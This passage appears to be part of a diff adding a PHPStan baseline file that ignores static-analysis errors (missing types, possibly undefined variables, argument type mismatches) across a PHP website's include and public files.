be defined\.$#' + identifier: variable.undefined + count: 1 + path: include/header.inc + + - + message: '#^Function i2c_realip\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/ip-to-country.inc + + - + message: '#^Variable \$userPreferences might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: include/langchooser.inc + + - + message: '#^Binary operation "\." between literal\-string&non\-falsy\-string and 0\|0\.0\|''''\|array\{\}\|numeric\-string\|false\|null results in an error\.$#' + identifier: binaryOp.invalid + count: 1 + path: include/layout.inc + + - + message: '#^Cannot access offset ''fragment'' on array\{scheme\?\: string, host\?\: string, port\?\: int\<0, 65535\>, user\?\: string, pass\?\: string, path\?\: string, query\?\: string, fragment\?\: string\}\|false\.$#' + identifier: offsetAccess.nonOffsetAccessible + count: 1 + path: include/layout.inc + + - + message: '#^Cannot call method getTimestamp\(\) on DateTime\|false\.$#' + identifier: method.nonObject + count: 2 + path: include/layout.inc + + - + message: '#^Cannot call method modify\(\) on DateTime\|false\.$#' + identifier: method.nonObject + count: 1 + path: include/layout.inc + + - + message: '#^Comparison operation "\<" between int\<80400, 80500\> and 80300 is always false\.$#' + identifier: smaller.alwaysFalse + count: 1 + path: include/layout.inc + + - + message: '#^Function clean\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/layout.inc + + - + message: '#^Function clean\(\) has parameter \$var with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function clean_note\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/layout.inc + + - + message: '#^Function clean_note\(\) has parameter \$text with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function display_errors\(\) has parameter \$errors with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function display_event\(\) has parameter \$event with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function display_event\(\) has parameter \$include_date with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function doc_toc\(\) has parameter \$lang with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function doc_toc_list\(\) has parameter \$file with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function doc_toc_list\(\) has parameter \$index with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function doc_toc_list\(\) has parameter \$lang with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function doc_toc_title\(\) has parameter \$elm with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function doc_toc_title\(\) has parameter \$file with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function doc_toc_title\(\) has parameter \$index with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function doc_toc_title\(\) has parameter \$lang with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function download_link\(\) has parameter \$file with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function download_link\(\) has parameter \$title with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function get_nav_items\(\) return type has no value type specified in iterable type array\.$#' + identifier: missingType.iterableValue + count: 1 + path: include/layout.inc + + - + message: '#^Function get_news_changes\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/layout.inc + + - + message: '#^Function highlight_php\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/layout.inc + + - + message: '#^Function highlight_php\(\) has parameter \$code with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function highlight_php\(\) has parameter \$return with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function highlight_php_trimmed\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/layout.inc + + - + message: '#^Function highlight_php_trimmed\(\) has parameter \$code with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function highlight_php_trimmed\(\) has parameter \$return with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function make_image\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/layout.inc + + - + message: '#^Function make_image\(\) has parameter \$addsize with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function make_image\(\) has parameter \$align with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function make_image\(\) has parameter \$alt with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function make_image\(\) has parameter \$dir with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function make_image\(\) has parameter \$extras with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function make_image\(\) has parameter \$file with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function make_popup_link\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/layout.inc + + - + message: '#^Function make_popup_link\(\) has parameter \$extras with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function make_popup_link\(\) has parameter \$linktext with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function make_popup_link\(\) has parameter \$target with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function make_popup_link\(\) has parameter \$url with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function make_popup_link\(\) has parameter \$windowprops with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function make_submit\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/layout.inc + + - + message: '#^Function make_submit\(\) has parameter \$align with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function make_submit\(\) has parameter \$alt with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function make_submit\(\) has parameter \$border with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function make_submit\(\) has parameter \$dir with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function make_submit\(\) has parameter \$extras with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function make_submit\(\) has parameter \$file with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function news_image\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/layout.inc + + - + message: '#^Function news_image\(\) has parameter \$URL with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function news_image\(\) has parameter \$align with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function news_image\(\) has parameter \$alt with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function news_image\(\) has parameter \$image with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function news_image\(\) has parameter \$print with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function print_image\(\) has parameter \$align with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function print_image\(\) has parameter \$alt with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function print_image\(\) has parameter \$dir with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function print_image\(\) has parameter \$extras with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function print_image\(\) has parameter \$file with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function print_news\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/layout.inc + + - + message: '#^Function print_news\(\) has parameter \$dog with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function print_news\(\) has parameter \$max with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function print_news\(\) has parameter \$news with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function print_news\(\) has parameter \$return with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function resize_image\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/layout.inc + + - + message: '#^Function resize_image\(\) has parameter \$height with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function resize_image\(\) has parameter \$img with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function resize_image\(\) has parameter \$width with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/layout.inc + + - + message: '#^Function site_footer\(\) has parameter \$config with no value type specified in iterable type array\.$#' + identifier: missingType.iterableValue + count: 1 + path: include/layout.inc + + - + message: '#^Function site_header\(\) has parameter \$config with no value type specified in iterable type array\.$#' + identifier: missingType.iterableValue + count: 1 + path: include/layout.inc + + - + message: '#^Parameter \#1 \(array\\|string\|null\) of echo cannot be converted to string\.$#' + identifier: echo.nonString + count: 1 + path: include/layout.inc + + - + message: '#^Parameter \#2 \$timestamp of function date expects int\|null, int\|false given\.$#' + identifier: argument.type + count: 3 + path: include/layout.inc + + - + message: '#^Parameter \#6 \$year of function mktime expects int\|null, array\|float\|int\|string\|false\|null given\.$#' + identifier: argument.type + count: 1 + path: include/layout.inc + + - + message: '#^Variable \$MYSITE might not be defined\.$#' + identifier: variable.undefined + count: 2 + path: include/layout.inc + + - + message: '#^Variable \$TOC might not be defined\.$#' + identifier: variable.undefined + count: 6 + path: include/layout.inc + + - + message: '#^Variable \$link might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: include/layout.inc + + - + message: '#^Variable \$title might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: include/layout.inc + + - + message: '#^Binary operation "\.\=" between array\\|non\-empty\-string\|null and ''\.php'' results in an error\.$#' + identifier: assignOp.invalid + count: 1 + path: include/manual-lookup.inc + + - + message: '#^Function find_manual_page\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/manual-lookup.inc + + - + message: '#^Function find_manual_page\(\) has parameter \$keyword with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/manual-lookup.inc + + - + message: '#^Function find_manual_page\(\) has parameter \$lang with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/manual-lookup.inc + + - + message: '#^Function find_manual_page_slow\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/manual-lookup.inc + + - + message: '#^Function find_manual_page_slow\(\) has parameter \$keyword with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/manual-lookup.inc + + - + message: '#^Function find_manual_page_slow\(\) has parameter \$lang with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/manual-lookup.inc + + - + message: '#^Function tryprefix\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/manual-lookup.inc + + - + message: '#^Function tryprefix\(\) has parameter \$keyword with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/manual-lookup.inc + + - + message: '#^Function tryprefix\(\) has parameter \$lang with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/manual-lookup.inc + + - + message: '#^Function tryprefix\(\) has parameter \$prefix with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/manual-lookup.inc + + - + message: '#^Parameter \#1 \$haystack of function strpos expects string, array\\|string\|null given\.$#' + identifier: argument.type + count: 1 + path: include/manual-lookup.inc + + - + message: '#^Parameter \#1 \$path of function pathinfo expects string, array\\|string\|null given\.$#' + identifier: argument.type + count: 1 + path: include/manual-lookup.inc + + - + message: '#^Parameter \#1 \$string of function strlen expects string, array\\|string\|null given\.$#' + identifier: argument.type + count: 2 + path: include/manual-lookup.inc + + - + message: '#^Parameter \#1 \$string of function urldecode expects string, array\\|string\|null given\.$#' + identifier: argument.type + count: 1 + path: include/manual-lookup.inc + + - + message: '#^Part \$dasp \(array\\|string\) of encapsed string cannot be cast to string\.$#' + identifier: encapsedStringPart.nonString + count: 1 + path: include/manual-lookup.inc + + - + message: '#^Part \$keyword \(array\\|string\|null\) of encapsed string cannot be cast to string\.$#' + identifier: encapsedStringPart.nonString + count: 1 + path: include/manual-lookup.inc + + - + message: '#^Part \$nosp \(array\\|string\) of encapsed string cannot be cast to string\.$#' + identifier: encapsedStringPart.nonString + count: 1 + path: include/manual-lookup.inc + + - + message: '#^Part \$noul \(array\\|string\) of encapsed string cannot be cast to string\.$#' + identifier: encapsedStringPart.nonString + count: 1 + path: include/manual-lookup.inc + + - + message: '#^Part \$prefix \(0\|0\.0\|''''\|''0''\|array\{\}\|false\|null\) of encapsed string cannot be cast to string\.$#' + identifier: encapsedStringPart.nonString + count: 1 + path: include/manual-lookup.inc + + - + message: '#^Variable \$MYSITE might not be defined\.$#' + identifier: variable.undefined + count: 2 + path: include/mozopensearch.inc + + - + message: '#^Variable \$MYSITE might not be defined\.$#' + identifier: variable.undefined + count: 5 + path: include/mozsearch.inc + + - + message: '#^Function posttohost\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/posttohost.inc + + - + message: '#^Function posttohost\(\) has parameter \$data with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/posttohost.inc + + - + message: '#^Function posttohost\(\) has parameter \$url with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/posttohost.inc + + - + message: '#^Function autogen\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/shared-manual.inc + + - + message: '#^Function contributors\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/shared-manual.inc + + - + message: '#^Function contributors\(\) has parameter \$setup with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/shared-manual.inc + + - + message: '#^Function manual_footer\(\) has parameter \$setup with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/shared-manual.inc + + - + message: '#^Function manual_language_chooser\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/shared-manual.inc + + - + message: '#^Function manual_language_chooser\(\) has parameter \$currentlang with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/shared-manual.inc + + - + message: '#^Function manual_language_chooser\(\) has parameter \$currentpage with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/shared-manual.inc + + - + message: '#^Function manual_navigation_breadcrumbs\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/shared-manual.inc + + - + message: '#^Function manual_navigation_breadcrumbs\(\) has parameter \$setup with no value type specified in iterable type array\.$#' + identifier: missingType.iterableValue + count: 1 + path: include/shared-manual.inc + + - + message: '#^Function manual_navigation_deprecated\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/shared-manual.inc + + - + message: '#^Function manual_navigation_deprecated\(\) has parameter \$setup with no value type specified in iterable type array\.$#' + identifier: missingType.iterableValue + count: 1 + path: include/shared-manual.inc + + - + message: '#^Function manual_navigation_methodname\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/shared-manual.inc + + - + message: '#^Function manual_navigation_methodname\(\) has parameter \$methodname with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/shared-manual.inc + + - + message: '#^Function manual_navigation_related\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/shared-manual.inc + + - + message: '#^Function manual_navigation_related\(\) has parameter \$setup with no value type specified in iterable type array\.$#' + identifier: missingType.iterableValue + count: 1 + path: include/shared-manual.inc + + - + message: '#^Function manual_note_display\(\) has parameter \$voteOption with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/shared-manual.inc + + - + message: '#^Function manual_setup\(\) has parameter \$setup with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/shared-manual.inc + + - + message: '#^Function relTime\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/shared-manual.inc + + - + message: '#^Parameter \#1 \$string of function chop expects string, string\|false given\.$#' + identifier: argument.type + count: 1 + path: include/shared-manual.inc + + - + message: '#^Parameter \#6 \$text of class phpweb\\UserNotes\\UserNote constructor expects string, string\|false given\.$#' + identifier: argument.type + count: 1 + path: include/shared-manual.inc + + - + message: '#^Call to function method_exists\(\) with ''PDO'' and ''getavailabledrivers'' will always evaluate to true\.$#' + identifier: function.alreadyNarrowedType + count: 1 + path: include/site.inc + + - + message: '#^Function default_language\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/site.inc + + - + message: '#^Function default_language\(\) has parameter \$site with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/site.inc + + - + message: '#^Function get_available_sqlites\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/site.inc + + - + message: '#^Function get_manual_search_sections\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/site.inc + + - + message: '#^Function get_shortname\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/site.inc + + - + message: '#^Function get_shortname\(\) has parameter \$page with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/site.inc + + - + message: '#^Function is_official_mirror\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/site.inc + + - + message: '#^Function is_official_mirror\(\) has parameter \$site with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/site.inc + + - + message: '#^Function is_primary_site\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/site.inc + + - + message: '#^Function is_primary_site\(\) has parameter \$site with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/site.inc + + - + message: '#^Function mirror_provider\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/site.inc + + - + message: '#^Function mirror_provider\(\) has parameter \$site with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/site.inc + + - + message: '#^Function mirror_provider_url\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/site.inc + + - + message: '#^Function mirror_provider_url\(\) has parameter \$site with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/site.inc + + - + message: '#^Function mirror_redirect\(\) has parameter \$absoluteURI with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/site.inc + + - + message: '#^Function mirror_setcookie\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/site.inc + + - + message: '#^Function mirror_setcookie\(\) has parameter \$content with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/site.inc + + - + message: '#^Function mirror_setcookie\(\) has parameter \$exptime with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/site.inc + + - + message: '#^Function mirror_setcookie\(\) has parameter \$name with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/site.inc + + - + message: '#^Function mirror_type\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/site.inc + + - + message: '#^Function mirror_type\(\) has parameter \$site with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: include/site.inc + + - + message: '#^Offset ''de''\|''en''\|''es''\|''fr''\|''it''\|''ja''\|''pl''\|''pt_BR''\|''ro''\|''ru''\|''tr''\|''uk''\|''zh'' on array\{en\: ''English'', de\: ''German'', es\: ''Spanish'', fr\: ''French'', it\: ''Italian'', ja\: ''Japanese'', pl\: ''Polish'', pt_BR\: ''Brazilian Portuguese'', \.\.\.\} in isset\(\) always exists and is not nullable\.$#' + identifier: isset.offset + count: 1 + path: include/site.inc + + - + message: '#^Function release_get_latest\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/version.inc + + - + message: '#^Function show_source_releases\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: include/version.inc + + - + message: '#^Parameter \#3 \$length of function substr expects int\|null, int\|false given\.$#' + identifier: argument.type + count: 1 + path: include/version.inc + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/1998.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/1999.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2000.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2001.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2002.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2003.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2004.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2005.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2006.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2007.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2008.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2009.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2010.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2011.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2012.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2013.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2014.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2015.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2016.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2017.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2018.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2019.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2020.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2021.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2022.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2023.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2024.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2025.php + + - + message: '#^Variable \$SIDEBAR_DATA might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/archive/2026.php + + - + message: '#^Parameter \#1 \$filename of function filemtime expects string, string\|false given\.$#' + identifier: argument.type + count: 1 + path: public/cached.php + + - + message: '#^Parameter \#1 \$filename of function readfile expects string, string\|false given\.$#' + identifier: argument.type + count: 1 + path: public/cached.php + + - + message: '#^Parameter \#1 \$string of function substr expects string, string\|false given\.$#' + identifier: argument.type + count: 3 + path: public/cached.php + + - + message: '#^Parameter \#1 \$string1 of function strncmp expects string, string\|false given\.$#' + identifier: argument.type + count: 1 + path: public/cached.php + + - + message: '#^Parameter \#2 \$timestamp of function gmdate expects int\|null, int\|false given\.$#' + identifier: argument.type + count: 1 + path: public/cached.php + + - + message: '#^Function date_for_recur\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: public/cal.php + + - + message: '#^Function date_for_recur\(\) has parameter \$bom with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/cal.php + + - + message: '#^Function date_for_recur\(\) has parameter \$day with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/cal.php + + - + message: '#^Function date_for_recur\(\) has parameter \$eom with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/cal.php + + - + message: '#^Function date_for_recur\(\) has parameter \$recur with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/cal.php + + - + message: '#^Function display_events_for_day\(\) has parameter \$day with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/cal.php + + - + message: '#^Function display_events_for_day\(\) has parameter \$events with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/cal.php + + - + message: '#^Function load_event\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: public/cal.php + + - + message: '#^Function load_event\(\) has parameter \$id with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/cal.php + + - + message: '#^Function load_events\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: public/cal.php + + - + message: '#^Function load_events\(\) has parameter \$from with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/cal.php + + - + message: '#^Function load_events\(\) has parameter \$whole_month with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/cal.php + + - + message: '#^Function read_event\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: public/cal.php + + - + message: '#^Function read_event\(\) has parameter \$fp with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/cal.php + + - + message: '#^Function valid_year\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: public/cal.php + + - + message: '#^Function valid_year\(\) has parameter \$year with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/cal.php + + - + message: '#^Parameter \#1 \$string of function htmlentities expects string, int\\|int\<1, max\> given\.$#' + identifier: argument.type + count: 1 + path: public/cal.php + + - + message: '#^Parameter \#2 \$timestamp of function date expects int\|null, int\|false given\.$#' + identifier: argument.type + count: 15 + path: public/cal.php + + - + message: '#^Parameter \#3 \$year of function checkdate expects int, int\\|int\<1, max\>\|string given\.$#' + identifier: argument.type + count: 1 + path: public/cal.php + + - + message: '#^Parameter \#4 \$month of function mktime expects int\|null, string given\.$#' + identifier: argument.type + count: 2 + path: public/cal.php + + - + message: '#^Parameter \#5 \$day of function mktime expects int\|null, float\|int\<\-13, max\> given\.$#' + identifier: argument.type + count: 1 + path: public/cal.php + + - + message: '#^Parameter \#6 \$year of function mktime expects int\|null, int\\|int\<1, max\>\|string given\.$#' + identifier: argument.type + count: 1 + path: public/cal.php + + - + message: '#^Parameter \#6 \$year of function mktime expects int\|null, string given\.$#' + identifier: argument.type + count: 4 + path: public/cal.php + + - + message: '#^Variable \$cm might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/cal.php + + - + message: '#^Variable \$cy might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/cal.php + + - + message: '#^Parameter \#1 \$object of function date_format expects DateTimeInterface, DateTime\|false given\.$#' + identifier: argument.type + count: 1 + path: public/conferences/index.php + + - + message: '#^Variable \$MYSITE might not be defined\.$#' + identifier: variable.undefined + count: 2 + path: public/conferences/index.php + + - + message: '#^Offset 1 might not exist on array\{\}\|array\{non\-falsy\-string, string\}\.$#' + identifier: offsetAccess.notFound + count: 1 + path: public/credits.php + + - + message: '#^Variable \$LANG might not be defined\.$#' + identifier: variable.undefined + count: 2 + path: public/docs.php + + - + message: '#^Parameter \#2 \$timestamp of function date expects int\|null, int\<0, max\>\|false given\.$#' + identifier: argument.type + count: 1 + path: public/download-docs.php + + - + message: '#^Variable \$LANG might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/download-docs.php + + - + message: '#^Function random_bgcolor\(\) has parameter \$max with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/download-logos.php + + - + message: '#^Function random_bgcolor\(\) has parameter \$min with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/download-logos.php + + - + message: '#^Strict comparison using \=\=\= between ''Y'' and ''Y'' will always evaluate to true\.$#' + identifier: identical.alwaysTrue + count: 1 + path: public/downloads-get-instructions.php + + - + message: '#^Function option\(\) has parameter \$attributes with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/downloads.php + + - + message: '#^Variable \$MYSITE might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/downloads.php + + - + message: '#^Variable \$LANG might not be defined\.$#' + identifier: variable.undefined + count: 8 + path: public/error.php + + - + message: '#^Variable \$userPreferences might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/error.php + + - + message: '#^Parameter \#1 \$json of function json_decode expects string, string\|false given\.$#' + identifier: argument.type + count: 1 + path: 